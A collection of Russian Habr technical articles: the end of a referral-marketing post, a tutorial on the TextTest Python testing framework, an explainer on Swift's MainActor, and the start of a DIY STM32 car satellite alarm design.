google.com/buzz/api/buzzThis/buzzCounter?url=refferallink
```
Итак, это нам помогло снизить порог для того чтобы пользователь начал приглашать рефералов.
Теперь идем дальше, после такой акции посещаемость сайта должна подняться. Поэтому ставим счетчики с Mailru и Bigmir чтобы из топов тоже переходили. Поскольку сайт поднимается в рейтинге из за увеличения посещаемости, то должно из этих топов переходить больше людей.
Ну, а теперь, когда мы вооружились этими инструментами, можно купить контекстную рекламу на Вконтакте или Фейсбуке. Кстати если покупать отдельно для каждой страны, то в некоторых случаях цена за клик будет меньше.
Таким образом получив N регистраций за сумму 500 рублей (Вконтакте) эти N регистраций с помощью инструментов, описанных выше, принесут нам еще M регистраций. Таким образом за 500 рублей мы получили не N, а N+M пользователей, тем самым удешевив наш трафик в несколько раз. У меня получалось таким образом сделать трафик дешевле в 3 раза, с 9 рублей до 3х за одну регистрацию в игре.
Желаю Вам успехов в продвижении.
П.С. Если статья Вам понравится, то дальше расскажу как можно увеличить CTR баннеров в Вашей игре. Эти эксперименты проводились над игрой [Dreamfoot.net](http://dreamfoot.net) | https://habr.com/ru/post/96917/ | null | ru | null |
# TextTest — кроссплатформенный фреймворк на python для тестирования GUI и не только. Часть 1
 Предлагаю поговорить сегодня о замечательном фреймворке для тестирования TextTest. Это кроссплатформенный инструмент для функционального тестирования с «record-replay» парадигмой. Как следует из названия TextTest пропагандирует довольно необычный на сегодняшний день подход текст-ориентированного тестирования, который позволяет легко и просто писать и читать тесты. Помимо TextTest мы поговорим о StoryText — являющимся строго говоря отдельном инструменте для тестирования GUI, но совместно с TextTest он позволяет делать это гораздо приятнее. Так же упомянем о третьем модуле от автора — CaptureMock.
Итак, с чего все начиналось: мне понадобился кроссплатформенная библиотека для тестирования GUI на Tkinter (стандартный модуль python для написания GUI) с теоретически возможным переходом в последствии на другой фреймворк. Покопавшись в google, я уж было совсем отчаялся найти нечто подходящее. Но встретил упоминание о TextTest, который умел не только тестировать логику работы интерфейса на Tkinter, но и еще предоставлял возможность работы с кучей других графических GUI-библиотек. Да еще и содержал такое кол-во разных других вкусностей, что я сходу в него влюбился. Итак, приступим.
#### Краткая сводка
**Текущее название:** TextTest +дополнительные модули StoryText и CaptureMock
**Старое название:** PyUseCase
**Автор:** Geoff Bache
**Первый коммит:** 04/02/2003
**Сайт с документацией:** [sourceforge](http://texttest.sourceforge.net/index.php)
**Исходные коды можно найти тут:** [launchpad](https://code.launchpad.net/~geoff.bache/texttest/trunk) тут же расположен bug-tracker
**Лицензия:** GNU LGPL v3
Как видим, проект зрелый, ему стукнуло почти 10 лет и тем не менее он продолжает активно развиваться. Автор утверждает, что пишет его полный рабочий день и судя по активности на launchpad в несколько десятков коммитов в месяц, я склонен ему верить. Помимо него в проекте на постоянной основе участвует еще один человек. В статье я попытаюсь хотя бы в общих чертах рассказать, что же им удалось создать за эти 10 лет.
#### Основная идея
Фреймворк помогает вашему приложению тем или иным образом записать обычный текстовый файл, в котором отражены все важные действия, которые сделала программа. Запуская тест в первый раз, вы проверяете что вывод программы верен и помечаете этот набор выходных файлов как правильный «golden copy».
После внесения изменений в ваше приложение, тест снова запускается и сравнивается новый получившийся набор файлов с исходными. Если все совпало — тест считается пройденным. Не совпало — смотрим изменения, если они корректны, помечаем новые файлы как «golden copy». Все просто.
Итак, какие существуют способы формирования таких файлов с информацией о работе программы:
* TextTest умеет при запуске программы сохранять ее stdout, stderr в файлы.
* Можно указать TextTest какие файлы сгенерировала программа в процессе работы (например, логи).
* При помощи CaptureMock можно автоматически сгенерировать обертки для отдельных функций и даже модулей, в том числе и для стандартных библиотек python. Ну, к примеру, можно попросить логировать math.fabs, тогда любое обращение к этой функции (входные и выходные значения) будут писаться в лог.
* StoryText представляет собой набор классов-оберток, которые прозрачно для вашей программы замещают интерфейсы работы с GUI, что позволяет записывать все действия сделанные человеком на форме, с последующим воспроизведением, а так же логировать ответную реакцию приложения.
Если совсем упрощенно выглядит это так: запускаем программу, кликаем на кнопке, что вызывает изменение какого-то виджета и выходим. При воспроизведении теста StoryText запускает программу, сам нажимает ту же кнопку и проверяет, что виджет изменился таким же образом, как и при записи теста.
Такие обертки существуют для: PyGTK/Tkinter/wxPython/SWT/Eclipse RCP/GEF/Swing, причем список вполне реально расширить самостоятельно для других библиотек.
Как видите, существует богатый набор способов для сохранения информации о программе, не меняя ни единой строчки в исходниках. Далее я попытаюсь продемонстрировать в самых общих чертах как пользоваться этим богатством на примерах, заодно и станет понятнее. Несомненно в рамках одной статьи не возможно охватить все целиком и за кадром останется бОльшая часть фреймворка. А примеры вынужденно сделаны сильно упрощенными и короткими. Но я надеюсь, вам удастся получить хотя бы общее представление о возможностях TextTest и возможно заинтересоваться им.
#### Установка
Кратко опишу, что нужно установить для работы с фреймворком под Windows, останавливаясь на некоторых нюансах, надеюсь, что для других системах все так же не сложно.
Для тестов нам понадобиться установленный [python 2.6](http://www.python.org/download/releases/2.6/).
Затем качаем и устанавливаем [texttest 3.24](http://sourceforge.net/projects/texttest/files/texttest/3.24/), обратите внимание, что PyGtk нужен для работы GUI (я в первый раз галочку снял), так же не забудьте поставить по умолчанию снятую галочку для «StoryText for python».
В предыдущий набор почему-то не попал CaptureMock, поэтому поставим его отдельно командой «easy\_install capturemock» (если у вас не установлен easy\_install его можно взять по [ссылке](http://pypi.python.org/pypi/setuptools) он вам пригодиться помимо этой статьи, кому интересно подробнее про него можно почитать [тут](http://packages.python.org/distribute/easy_install.html))
Далее для корректной работы StoryText в переменных окружения («свойства системы»\«дополнительно»\«переменные среды») добавьте переменную TCL\_LIBRARY со значением c:\Soft\Python26\tcl\tcl8.5 (путь соответственно поменяйте на свой).
Потом нужно перезайти в систему, чтобы выставленные переменные окружения применились.
#### Создаем проект
Запускаем TextTest, он при первом запуске предлагает создать проект, никаких там особенных секретов нет. Нужно указать название для проектов, расширение для файлов конфигурации, название для папки с проектом, в выпадающем списке выбрать что тестировать мы будет не GUI программу и указать путь к тестируемому приложению (скрипт который описан далее в статье можно скачать [отсюда](https://github.com/ReanGD/HabrArticle/blob/master/TextTest/simpletests/test.py)), получаем примерно следующее:
Далее идем в папку с проектами для TextTest (по умолчанию она находится тут: c:\Tests) и смотрим, что там получилось. Находим внутри файлик config.cfg, в котором описаны настройки проекта, он представляет из себя текстовый файл с ini-подобным синтаксисом: «name:value» + иногда там встречаются секции. Давайте сразу его немного поправим изменив значение executable на:
```
executable:${TEXTTEST_ROOT}/test.py
```
где TEXTTEST\_ROOT — это переменная окружения, ссылающаяся на текущий каталог проекта.
Теперь можно test.py положить рядом с config.cfg, для большей мобильности так сказать. Полный список переменных окружения [тут](http://texttest.sourceforge.net/index.php?page=documentation_3_24&n=environment_default)
test.py — содержит 3 функции и один GUI-класс на Tkinter, которые мы будет тестировать. Параметрами для функций и собственно выбором самой функции можно рулить, запуская скрипт с разными параметрами. Первый характеризует вызываемую функцию, остальные передаются в параметры этой функции. Чтобы не повторять вручную все, что будет описано ниже, можно сразу скачать итоговый проект [тут](https://github.com/ReanGD/HabrArticle/tree/master/TextTest), и положить папку simpletests в «c:\Tests». И потом запускайте тесты из него по мере чтения.
#### Первый пример. Тестируем вывод в stdout
Тестировать будем функцию mul из test.py
```
def mul(a, b):
print 'params: %s, %s' % (a, b)
result = a * b
print 'result = %s' % result
if result > 0:
print 'positive'
elif result == 0:
print 'zero'
else:
print 'negative'
```
Как видите функция элементарна — она перемножает два числа и выводит в stdout значения параметров, результат и знак результата. Чтобы ее вызывать нужно запустить test.py с первым параметром «mul» и двумя другими, которые будут аргументами функции.
Создаем через меню новый test-suite и называем его к примеру «Suite\_Mul», к нему создаем тест «Test\_Negative», в качестве параметров командной строки указываем «mul 1 -2», запускаем.
Т.к. запуск теста производился в первый раз, TextTest резонно укажет вам на то, что значения stderr.cfg и stdout.cfg изменились, еще бы их вообще не существовало. Смотрим, что же в них вывелось, первый получился пустым, а во втором должен быть вот такой текст:
```
params: 1, -2
result = -2
negative
```
Что же, все верно, нажимаем на Save сохраняя результаты в качестве «golden copy». При повторном запуске теста он пройдет успешно.
Можно попробовать изменить программу, чтобы она выдавала другой результат и посмотреть как выглядит ошибка. Если дважды кликнуть по ошибочному, подсвеченному красным, файлу, можно наглядно увидеть что же изменилось
Думаю вы без труда допишите тесты на два остальных случая «Test\_Positive» и «Test\_Zero», чтобы потренироваться. Потом стоит посмотреть, какие файлы и папки добавились в проекте, чтобы убедиться, что структура проекта логична, а все файлы легко читаются человеком, нет ни бинарных данных, ни xml, только plain text.
#### Второй пример. Тестируем вывод в лог
Тестировать будет функцию file\_write
```
def file_write(s):
f = open('log.txt', 'wt')
f.write('%s %s-%s\n' % (time.strftime("%H:%M:%S"), s, s[::-1]))
```
Она выводит текущее время в log.txt а затем строчку из входного параметра + эту же строчку только инвертированную.
Добавляем новый test-suite «Suite\_File» и тест к нему «Test\_File» с параметрами «file HelloWord».
Чтобы указать TextTest'у, что программа будет генерировать файл «log.txt» в появившейся папке «Suite\_File» добавляем (вручную, ибо убогий интерфейс мало что позволяет делать из него) файл config.cfg с текстом:
```
[collate_file]
logfile:log.txt
```
Запускаем, сохраняем результат. Запускам второй раз. Если вы не самый быстрый ковбой дикого запада, то увидите, что тест прошел с ошибкой, т.к. в log.txt на этот раз записано другое время. Подобная проблема возникает довольно часто, когда мы работаем с изменяющимися данными. Это могут быть записанные в лог: время, дата, ip, имя машины и т.п. К счастью, TextTest имеет [средства](http://texttest.sourceforge.net/index.php?page=documentation_3_24&n=run_dependent_text) изменения выходных файлов. Мы ограничимся тем, что заменим реальное время на 00:00:00 вот такой строчкой в созданном выше config.cfg:
```
[run_dependent_text]
logfile:[0-9][0-9]:[0-9][0-9]:[0-9][0-9]{REPLACE 00:00:00}
```
После этого любые изменения времени не повлияют на прохождение теста. Можете запустить и проверить.
#### Третий пример. Перехватываем вызов функции
Теперь тестировать будем функцию formula
```
def formula(val):
print math.floor(math.fabs(val))
```
И предположим, что по какой-то прихоти, мы хотим узнать какие же значения приходят в функцию math.fabs и что она возвращает. В этом нам поможет библиотека CaptureMock, она может «обернуть» math.fabs своим кодом, который добавит в лог входящие параметры, выполнить оригинальную math.fabs и результаты так же поместит в лог.
Добавляем новый test-suite «Suite\_Formula» и тест к нему «Test\_Formula» с параметрами «math -4.5». Затем подключим CaptureMock, для этого в файле в главный config.cfg (тот который лежит в корне simpletests) добавим строчку:
```
import_config_file:capturemock_config
```
А в папку Suite\_Formula добавим файлик capturemockrc.cfg, в котором укажем, что для Test\_Formula нам хочется логировать math.fabs:
```
[python]
intercepts = math.fabs
[general]
server_multithreaded = False
```
После этого, если перезайти в редактор, во вкладках Running, а внутри нее во вкладке Basic, мы обнаружим появившиеся настойки «CaptureMock». Переключаем галочку на «Record», что указывает на то, что мы хотим использовать CaptureMock при записи «golden copy» и запускаем тест. После запуска, мы увидим, что помимо стандартных stderr и stdout появился новый pythonmoks.cfg со следующим содержимым:
```
<-PYT:math.fabs(-4.5)
->RET:4.5
```
т.е. туда записались входные и выходные значения функции math.fabs.
После первого запуска галочку в блоке «CaptureMock» можно вернуть на Replay (что впрочем будет сделано автоматически при следующем перезапуске редактора).
Пример, конечно, получился несколько надуманным, но функциональность чрезвычайно полезна. Ну например, пишите вы чат, который по tcp/ip передает кучу служебных данных. Эти данные нужно как-то проверять. А как? Ну не логировать же каждый чих. При помощи CaptureMock можно легко переопределить функции передачи данных по сети и залогировать данные передаваемые через них.
CaptureMock может выполнять еще много чего интересного, но формат статьи не позволяет рассказать обо всем.
Чуть позже я опубликую завершающую часть статьи, где покажу, как можно тестировать GUI и формировать отчеты.
**UPD:** [Продолжение. 2 часть](http://habrahabr.ru/post/165833/) | https://habr.com/ru/post/165617/ | null | ru | null |
# Диспетчеризация в main thread с помощью MainActor
MainActor — это новый атрибут из Swift 5.5, который представляет из себя глобальный актор, выполняющий свои задачи в главном потоке (main thread). При создании приложений очень важно следить за тем, чтобы задачи обновления UI выполнялись в главном потоке, что при использовании нескольких фоновых потоков (background threads) иногда может быть затруднительно. Использование атрибута `@MainActor` поможет вам гарантировать, что ваш UI всегда будет обновляться в главном потоке.
*Если вы не очень хорошо разбираетесь в акторах (Actor) в Swift, я рекомендую прочитать мою статью* [*Акторы в Swift: как их использовать и как предотвращать состояние гонки по данным*](https://www.avanderlee.com/swift/actors/)*. Глобальные акторы (Global actors) ведут себя аналогично обычным акторам, и в этой статье я не буду вдаваться в подробности того, как работают обычные акторы.*
### Что такое MainActor?
MainActor — это глобально уникальный актор, который выполняет свои задачи в главном потоке. Его можно применять к свойствам, методам, инстансам и замыканиям для выполнения задач в главном потоке. Он был представлен в предложении SE-0316 Global Actors как пример глобального актора (наследующего протокол GlobalActor).
### Пару слов о глобальных акторах
Глобальные акторы можно рассматривать как синглтоны: существует только по одному инстансу каждого из них. На данный момент глобальные акторы работают только при включении экспериментального параллелизма (experimental concurrency). Вы можете сделать это, добавив следующее значение в «Other Swift Flags» в настройках сборки Xcode:
```
-Xfrontend -enable-experimental-concurrency
```
Как только это функция включена, мы можем определить наш собственный глобальный актор следующим образом:
```
@globalActor
actor SwiftLeeActor {
static let shared = SwiftLeeActor()
}
```
Свойство `shared` является обязательным требованием протокола GlobalActor — оно гарантирует наличие инстанса глобально уникального актора. После определения вы можете использовать глобальный актор в своем проекте так же, как и другие акторы:
```
@SwiftLeeActor
final class SwiftLeeFetcher {
// ..
}
```
### Как использовать MainActor в Swift?
Глобальный актор может быть применен к свойствам, методам, замыканиям и инстансам. Например, мы могли бы добавить атрибут MainActor к модели представления (view model), чтобы заставить ее выполнять все свои задачи в главном потоке:
```
@MainActor
final class HomeViewModel {
// ..
}
```
Используя ключевое слово [nonisolated](https://www.avanderlee.com/swift/actors/#nonisolated-access-within-actors), мы можем быть уверены, что методы без потребности исполнения в главном потоке работают максимально быстро. Класс может быть аннотирован глобальным актором только в том случае, если у него нет суперкласса, суперкласс аннотирован тем же глобальным актором или суперклассом является NSObject. Подкласс класса, аннотированного глобальным актором, должен быть изолирован тем же глобальным актором.
В иных случаях мы могли бы аннотировать с помощью глобального актора отдельные свойства:
```
final class HomeViewModel {
@MainActor var images: [UIImage] = []
}
```
Аннотирование свойства `images` `@MainActor`‘ом гарантирует, что оно может быть изменено только из главного потока:
Компилятор следит за выполнением требований атрибута MainActor.Этим атрибутом также могут быть аннотированны отдельные методы:
```
@MainActor func updateViews() {
// Выполняем обновление пользовательского интерфейса ..
}
```
И даже замыкания могут быть аннотированны на выполнение в главном потоке:
```
func updateData(completion: @MainActor @escaping () -> ()) {
/// Пример диспатча для имитации поведения
DispatchQueue.global().async {
async {
await completion()
}
}
}
```
#### Прямое использование MainActor’а
MainActor в Swift поставляется с расширением для прямого использования:
```
@available(macOS 12.0, iOS 15.0, watchOS 8.0, tvOS 15.0, *)
extension MainActor {
/// Выполнение данного замыкания тела на MainActor’е.
public static func run(resultType: T.Type = T.self, body: @MainActor @Sendable () throws -> T) async rethrows -> T
}
```
Это позволяет нам использовать MainActor непосредственно из методов, даже если мы не определили ни одно его тело с использованием этого атрибута глобального актора:
```
async {
await MainActor.run {
// Выполняем обновление пользовательского интерфейса
}
}
```
Другими словами, больше нет реальной необходимости использовать `DispatchQueue.main.async`.
### Когда следует использовать атрибут MainActor?
До Swift 5.5 вы могли определять множество операторов диспетчеризации, чтобы гарантировать, что задачи выполняются в основном потоке. Например вот так:
```
func fetchData(completion: @escaping (Result<[UIImage], Error>) -> Void) {
URLSession.shared.dataTask(with: URL(string: "..some URL")) { data, response, error in
// .. Декодируем данные в результат
DispatchQueue.main.async {
completion(result)
}
}
}
```
В приведенном выше примере мы почти уверены, что диспатч необходим. Однако в других случаях диспатч может быть ненужен, поскольку мы уже находимся в главном потоке. Это привело бы к избыточной диспетчеризации, которую можно было бы избежать.
В этих случаях имеет смысл определить свойства, методы, инстансы или замыкания с MainActor, чтобы убедиться, что задачи выполняются в основном потоке. Мы могли бы, например, переписать приведенный выше пример следующим образом:
```
func fetchData(completion: @MainActor @escaping (Result<[UIImage], Error>) -> Void) {
URLSession.shared.dataTask(with: URL(string: "..some URL")!) { data, response, error in
// .. Декодируем данные в результат
let result: Result<[UIImage], Error> = .success([])
async {
await completion(result)
}
}
}
```
Поскольку сейчас мы работаем с замыканием, определяемым актором, нам необходимо использовать технику async await для вызова нашего замыкания. Использование атрибута `@MainActor` позволяет компилятору Swift оптимизировать наш код для повышения производительности.
#### Выбор правильной стратегии
Используя акторы, важно выбирать правильную стратегию. В приведенном выше примере мы решили сделать замыкание актором, что означает, что кто бы ни использовал наш метод, коллбек по завершению будет выполняться с помощью MainActor. В некоторых случаях это может быть не нужно, если, например, метод, запросивший данные, также вызывается из места, где нет необходимости обрабатывать коллбек завершения в главном потоке.
В таких случаях, вероятно, лучше возложить ответственность диспетчить в нужную очередь на других разработчиков:
```
viewModel.fetchData { result in
async {
await MainActor.run {
// Обработка результата
}
}
}
```
#### Заключение
Глобальные акторы — отличное дополнение к акторам в Swift. Они позволяют нам повторно использовать обычные акторы и дают возможность выполнять задачи пользовательского интерфейса более продуктивно, поскольку компилятор может оптимизировать наш код изнутри. Глобальные акторы могут использоваться для свойств, методов, инстансов и замыканий, после чего компилятор позаботится о соблюдении их требований в нашем коде.
Если вы хотите почитать больше советов по Swift, [посетите страницу о Swift](https://www.avanderlee.com/category/swift/). Не стесняйтесь связаться со мной или написать мне в [Твиттере,](https://www.twitter.com/twannl) если у вас есть какие-либо дополнительные советы или отзывы.
---
> Материал подготовлен в рамках курса [«iOS Developer. Professional»](https://otus.pw/uOhT/).
>
> Всех желающих приглашаем на двухдневный онлайн-интенсив [«Пишем современное iOS приложение на SwiftUI»](https://otus.pw/RVjz/). В первый день разберем особенности создания UI с помощью данного фреймворка. Во второй — напишем бизнес-логику с помощью нативных средств (Combine). Также будем использовать новинки, представленные на WWDC 2021, в том числе и async-await.
>
> [**РЕГИСТРАЦИЯ**](https://otus.pw/RVjz/)
>
> | https://habr.com/ru/post/571580/ | null | ru | null |
# Автомобильная спутниковая сигнализация на STM32F1
Теория создания самодельной автомобильной спутниковой сигнализации с web-интерфейсом и поддержкой eCall / ЭРА-ГЛОНАСС на базе микроконтроллеров STM32 как основа концепции «Умный автомобиль», и её использование в системах «Умный дом». Реализация аналога технологии Volvo On Call и автомобильной социальной сети Toyota Friends.
Решил наконец написать продолжение статьи [«Спутниковый спидометр на STM32F1 и FreeRTOS»](http://habrahabr.ru/blogs/controllers/137673/).
Рассмотрим, как своими руками сделать автомобильную спутниковую сигнализацию с web-интерфейсом – основные идеи, элементная база, технические тонкости реализации. Отмечу сразу, что себестоимость выходит на уровне полутора тысяч рублей (в базовом исполнении), в то время как промышленные аналоги (вместе с установкой) выходят в районе 30-50 тысяч рублей. Абонентской платы нет – есть только расходы на сотовую связь (около 100р в месяц. При грамотном подходе к минимизации передаваемого трафика – в месяц будет уходить ~60руб, а то и меньше). Благодаря поддержке Глонасс появляется дополнительное преимущество в связи с ожидаемым 100% оснащением российского автопарка системами Глонасс. И в то же время описываемое устройство несёт в себе инновационные возможности, которых ещё нет на рынке.
Устройство, описанное ниже, является универсальным – с одинаковым успехом может быть установлено и работать как на Жигулях, так и на Lexus’е – как на мобильных объектах (легковые, грузовые автомобили), так и стационарных (дома, коттеджи и т.д.). Выполняет 3 основные функции:
**\*** Информационная – аналог технологии Volvo On Call. Находясь на значительном удалении, вы остаётесь на связи со своей машиной, при наличии любого устройства, имеющего выход в Интернет (компьютер, нетбук, iPhone, iPad Android-устройство и т.д.) – найти местоположение своей машины, удалённо завести двигатель, получить сведения о техническом её состоянии, и т.д. Управление и мониторинг машины осуществляется через SMS / голосовые вызовы (dtmf) / сайт. Сайт является интернет-порталом, на который в автоматическом режиме объекты, оснащённые данным устройством, «сбрасывают» сведения о текущем своём состоянии и забирают с него настройки для своей работы. Также это – автомобильная социальная сеть (аналог Toyota Friends) для взаимодействия объектов (автомобилей, домов) и людей.
**\*** Охранная – включает в себя:
а) метка с диалоговым кодом на 2.4Ггц на базе STM32W, для автоматического получения доступа к объекту.
б) защита от глушения gsm-сигнала (постоянный контроль канал связи сервером + обнаружение факта глушения со стороны самой сигнализации)
в) функция gsm/gps/глонасс-трекера – если машину угонят либо поместят на штрафстоянку, вы сможете узнать её текущее местонахождение.
г) скрытое видеонаблюдение – по rs485 с сигнализации подключаются видеокамеры, состоящие из STM32F4 и cmos-камеры на борту.
г) цифровые реле – даже физически удалив либо выведя из строя сигнализацию, злоумышленник ничего не добьётся – реле обесточат жизненно важные цепи, и их уже не активировать, даже напрямую подав питание на них. Также цифровые реле осуществляют управление штырями в дверях – даже если злоумышленник разобьёт стёкла и/или выломает личинки замков – ему не удастся открыть дверь, даже взломав её замок – двери открыть помешают электронные штыри в дверях, которые разблокируются только сигнализацией.
д) в качестве дополнительного оснащения используются 1 или несколько gsm/gps/глонасс-маячков, также самодельных. Т.к. по причинам, описанным ниже, применение одной только сигнализации недостаточно. Также рекомендуется применение замка капота, блокиратора руля (например, Гарант), бронировочной плёнки для стёкол (разбить стекло, чтобы украсть из салона ваши вещи либо проникнуть внутрь, будет крайне проблематично – защищает даже от пуль пневматического пистолета)
**\*** Спасения – автомобиль, оборудованный данным устройством, сможет самостоятельно вызвать экстренные службы, даже если водитель и его пассажиры уже не в состоянии предпринять какие-либо действия. Для реализации этой возможности устройство имеет поддержку технологий eCall / ЭРА-Глонасс. Установка подобных устройств, по прогнозам, сможет ежегодно спасать 2500 жизней в год в Европе, 4000 жизней в год в России и на 14% снизить последствия травматизма при ДТП.
**\*** Логистика – для компаний, осуществляющих грузоперевозки. Контроль и отслеживание перемещения транспорта, учёт расхода топлива по автопарку и т.д.
Чтобы более наглядно показать, о чем пойдёт речь, приведу ролик с промышленного варианта данного устройства (обладающего, кстати, меньшим числом функциональных возможностей при существенно большей цене):
А теперь – как всё это самостоятельно реализовать, идеи в общих чертах. В конце рассмотрим реализацию на микроконтроллерах STM32.
**1. Общая структура системы.**
— как я уже писал ранее, устройство пригодно для применения не только в мобильных объектах (легковые машины, грузовики и т.д. – «Умный автомобиль»), но и в стационарных (квартиры, дома, коттеджи — «Умный дом»). Вообще, автомобильные спутниковые сигнализации, как показывает практика, оказываются хорошей заменой систем «Умный дом» для автоматизации и охраны квартир, коттеджей и прочих объектов недвижимости. Разумеется, они не могут конкурировать с такими системами «Умный дом», как LonWorks, Legrand и Bticino, но вполне могут решать задачи, которые для потребителя являются приоритетными при автоматизации своего жилища – охрана, удалённый мониторинг и управление, видеонаблюдение и прочее. Не всегда потребитель готов выкладывать за автоматизацию те деньги, которые стоят системы вроде LonWorks – ему требуется бюджетное решение, которым и может стать автомобильная спутниковая сигнализация. В качестве наглядного примера можно привести ресурс <http://home-online.ru/solutions.html>
В случае применения «Умный автомобиль» устройство размещается в металлическом корпусе, способном выдерживать нагрузки до 40G, в котором размещается сама сигнализация и резервный аккумулятор. Это – требование стандарта «ЭРА-Глонасс» — устройство в случае ДТП и последующего возможного пожара должно быть способно связаться с экстренными службами и передать координаты автомобиля, даже если водитель и его пассажиры уже не способны предпринять какие-либо действия со своей стороны. Кроме того, вместо сим-карты используется сим-чип (подробнее — в разделе «GSM-модуль SIM900» ниже).
В случае применения «Умный дом» устройство размещается в обычном компактном пластиковом корпусе с аккумулятором для размещения в скрытном для злоумышленника месте, при этом его силовая часть размещается в корпусе для монтажа в DIN-рейку электрического шкафа объекта недвижимости:
Рассмотрим теперь структуру самого устройства, в случае автомобильного применения:
Для съёма данных о состоянии автомобиля (обороты двигателя, датчики давления масла и жидкостей и т.д.) используется подключение к диагностическому разъёму автомобиля, используя CAN/LIN. В случае, если наше устройство не поддерживает данную марку автомобиля, используется подключение непосредственно к датчикам и исполнительным механизмам автомобиля – тахометру/генератору, форсункам, датчикам давления масла, уровня охлаждающей жидкости и т.д.
Можно обойтись без обходчика иммобилайзера, если иммобилайзер поддерживает дистанционный запуск – это задаётся в его настройках. В противном случае – вам скорее всего придется пожертвовать одной из меток и применить обходчик.
Настройка моей сигнализации выполняется через USB – использую в STM32 USB CDC класс, поэтому на стороне компьютера устройство определяется как обычный com-порт, и работать с ним можно через любую терминалку (я использую Putty).
Датчик объёма – используется стандартный внешний, а в качестве датчика наклона можно использовать акселерометр в самом устройстве – например, LIS203DL (плюс в том, что этот акселерометр установлен на отладочной плате stm32f4-discovery и имеются хорошо документированные примеры работы с ним).
Для реализации функции автозапуска в случае МКПП мы должны быть уверены, что машина не стоит на передаче. Для этого пользователь должен либо выходить из машины и ставить её на охрану, не выключая двигатель (постановка на охрану с работающим двигателем), либо установить на КПП герконы (реализация описана [здесь](http://hondamotor.ru/board/index.php?showtopic=95781&st=0))
**Камеры на STM32F4**
Элементная база камер представлена микроконтроллером STM32F407 + CMOS-камерой + внешней памятью. Подключаются они к основному блоку сигнализации через интерфейс RS-485 (на физическом уровне, а на прикладном используется [ModBus](http://we.easyelectronics.ru/STM32/stm32-rs-485-modbus-rtu.html)). Наиболее оптимальным вариантом является размещение камер следующим образом:
Камеры работают в режиме фотосъёмки. Микроконтроллер STM32F4 выбран не случайно – он имеет встроенный синхронный параллельный интерфейс камеры DCMI, позволяющий подключать cmos-камеры до 1 мегапикселя. Среди прочих у него есть режим Snapshot, который и используется. При помощи механизма прямого доступа к памяти (DMA) данные с камеры сразу размещаются массивом во внешней памяти, подключённой через интерфейс FSMC микроконтроллера – при этом вычислительные ресурсы ядра не задействуются. По окончании записи кадра перегоняем данные в JPEG-формат – далее по RS-485 они пересылаются в центральный блок и используются для отправки на сайт системы и для формирования MMS-сообщения с фото (при этом вычислительной нагрузки на микроконтроллер STM32 основного блока сигнализации как таковой нет – мы тупо принимаем с камер и отправляем дальше (на сервер и в виде mms) jpeg-данные, не обрабатывая их. Построением MMS-сообщения занимается уже gsm-модем.
К слову говоря, использование cmos-камеры с обычными микроконтроллерами осложняется тем, что та же камера OV7670 не умеет передавать данные с частотой менее 10МГц + данные с неё нужно где-то размещать. Поэтому для использования камер с обычными микроконтроллерами (а также ПЛИС) очень часто применяют FIFO-буферы, например AL422B, объема памяти которых достаточно для хранения 1 кадра изображения с камеры:
[](http://habrastorage.org/storage2/abe/727/d1a/abe727d1aa2dd70c7574353d73344fd3.jpg)
**Устройство основного блока сигнализации**
Основными составляющими основного блока являются микроконтроллер stm32f103, gps/глонасс модуль, gsm-модуль SIM900.
**GPS / Глонасс модуль**
На данный момент использую всем известный gps EB500, но планируется переход на GPS/Глонасс модуль [Геос-3М](http://habrahabr.ru/blogs/glonass/138856/). Если сравнивать его с ML8088s/GL8088s, nv-08-c, то от первого выгодно отличается энергопотреблением (судя по инженерным образцам), от второго – ценой (28$ розница, 15$ опт). К слову говоря, в ё-мобилях планируется использование GPS/Глонасс-модуля Геос-1М.
Использование вместо обычного GPS сдвоенного модуля GPS/Глонасс даёт нам два основных преимущества:
1) Использование режима GPS+Глонасс позволяет повысить точность и успешность определения координат (т.к. нам доступно большее количество спутников – не только GPS, но и Глонасс).
2) Сейчас набирает обороты коммерциализация технологии Глонасс. Уже на законодательном уровне установка Глонасс-терминалов обязательна для установки на ряд транспортных средств. Поэтому поддержка Глонасс в автомобильном устройстве является дополнительным конкурентным преимуществом, обеспечивающим его привлекательность на рынке.
Работа с модулем не вызывает проблем – всю математическую обработку модуль берёт на себя, выдавая на выход текстовые строки с готовыми данными (протокол NMEA). О том, как на микроконтроллере STM32 организовать их разбор и работу с модулем – я писал в прошлой статье, [«Спутниковый спидометр на STM32F1 и FreeRTOS»](http://habrahabr.ru/blogs/controllers/137673/). К слову говоря, модулем Геос-3М поддерживается выдача данных и в бинарном виде.
При использовании таких модулей основной проблемой становится повышенный уровень шумов на стоянке, что выражается в дрейфе координат и скорости на неподвижном объекте. И за ночь автомобиль, если не предпринять дополнительных мер, может накрутить на карте не один круг, оставаясь при этом в реальности всё время неподвижным. Самый лучший вариант решения этой проблемы без применения дополнительных компонент, который мне известен — это контроль изменения азимута с одновременным расчетом координат (не учитывать при небольшом изменении) – при таком подходе и мусор не учитываем, и получаем экономию памяти и трафика.
В любом случае, любая разновидность математической обработки показаний GPS/Глонасс-модуля не является идеальной – даже в самом лучшем варианте получается, что мы не учитываем малую скорость и небольшое изменение координат. Кардинально решить эту проблему в случае автомобильного применения способно совместное с Глонасс/GPS –модулем использование 3х-осевого гироскопа и автомобильного спидометра. В качестве такого гироскопа можно взять, к примеру, L3G4200D (19$). Для автомобильного применения уже анонсирован гироскоп A3G4250D, но его пока не найти в продаже. Работает такой гироскоп по шине I2C/SPI:
Итак, чем же нам помогает подключение гироскопа и спидометра?
а) мы получаем возможность довольно просто победить дрейф на стоянке — отбрасывать ложные данные о скорости и изменении координат на стоянке с GPS/Глонасс
б) При пропадании сигналов GPS/Глонасс мы получаем возможность продолжать вести географическое позиционирование по спидометру и гироскопу – продолжать вести трек.
В режиме стоянки, когда машина неподвижна, GPS/Глонасс-модуль говорит нам, что мы движемся с небольшой скоростью, координаты дрейфуют. Но с гироскопа мы получаем нули, что и даёт нам основания полагать, что мы стоим на месте и показания модуля можно игнорировать. При пропадании сигнала GPS/Глонасс в движении информацию о скорости мы берём со спидометра, а информацию о поворотах (угловых скоростях) – с гироскопа.
По реализации – нам по сути не важно, какой датчик скорости используется и откуда в машине его брать. Почти везде амплитуда сигнала скорости – 12 вольт, разница только в количестве импульсов в секунду. Здесь можно просто ввести самокалибровку – в движении по GPS/Глонасс автоматом определять, сколько импульсов приходится на 1 метр пути, и запоминать в память полученную константу.
Также необходимо ввести температурную калибровку гироскопа по GPS/Глонасс, т.к. его побочной стороной является температурный дрейф.
